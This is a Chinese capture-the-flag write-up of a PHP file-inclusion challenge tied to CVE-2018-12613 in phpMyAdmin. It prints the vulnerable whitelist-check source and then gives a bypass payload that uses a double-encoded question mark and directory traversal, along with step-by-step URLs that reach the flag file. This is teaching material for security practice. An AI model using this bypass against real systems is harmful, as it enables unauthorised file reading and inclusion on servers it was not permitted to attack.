source.php页面看源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} ?>
这是CVE-2018-12613 PhpMyadmin文件包含漏洞
百度有很多分析的帖子
如
再如
payload: xxxx.php%253F/…/…/…/…/xxxx
对这道题就是
http://web5.buuoj.cn/?file=payload
要注意的是目录的问题
http://web5.buuoj.cn/?file=hint.php%253F/hint.php
这样不是当前目录,要加一个/…
http://web5.buuoj.cn/?file=hint.php%253F/…/source.php
这个才是当前目录
一层层目录找
最后在这里拿到flag
http://web5.buuoj.cn/?file=hint.php%253F/…/…/…/…/ffffllllaaaagggg